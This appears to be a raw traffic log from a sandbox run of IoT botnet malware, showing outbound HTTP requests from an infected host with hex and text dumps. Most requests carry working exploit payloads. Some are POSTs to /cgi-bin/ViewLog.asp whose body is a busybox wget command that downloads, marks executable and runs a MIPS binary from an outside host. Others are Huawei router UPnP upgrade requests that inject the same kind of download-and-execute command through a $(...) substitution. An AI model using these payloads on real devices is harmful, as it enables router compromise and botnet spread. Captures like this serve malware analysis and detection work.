                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                733192.168.2.155792894.122.69.1598080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.674226999 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                734192.168.2.155891085.240.246.2498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.843343973 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                735192.168.2.153719895.110.245.878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.847165108 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.057413101 CET1024INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 774
                                                Date: Thu, 23 Nov 2023 04:22:47 GMT
                                                Keep-Alive: timeout=20
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 35 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [&#47;cgi-bin&#47;ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.75</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                736192.168.2.154349495.65.43.38080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.897433996 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.148679972 CET358INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:48 GMT
                                                Server: Apache
                                                Content-Length: 126
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e
                                                Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port;</script><h1>Error 400 - trying to redirect</h1>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                737192.168.2.1546494156.247.21.22837215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:48.021667957 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:52.088325977 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:58.236140013 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:10.263808966 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                738192.168.2.155761631.136.142.2128080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:48.468945026 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:51.576364994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:57.720191956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:09.751880884 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                739192.168.2.154407294.4.136.968080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:48.803467989 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
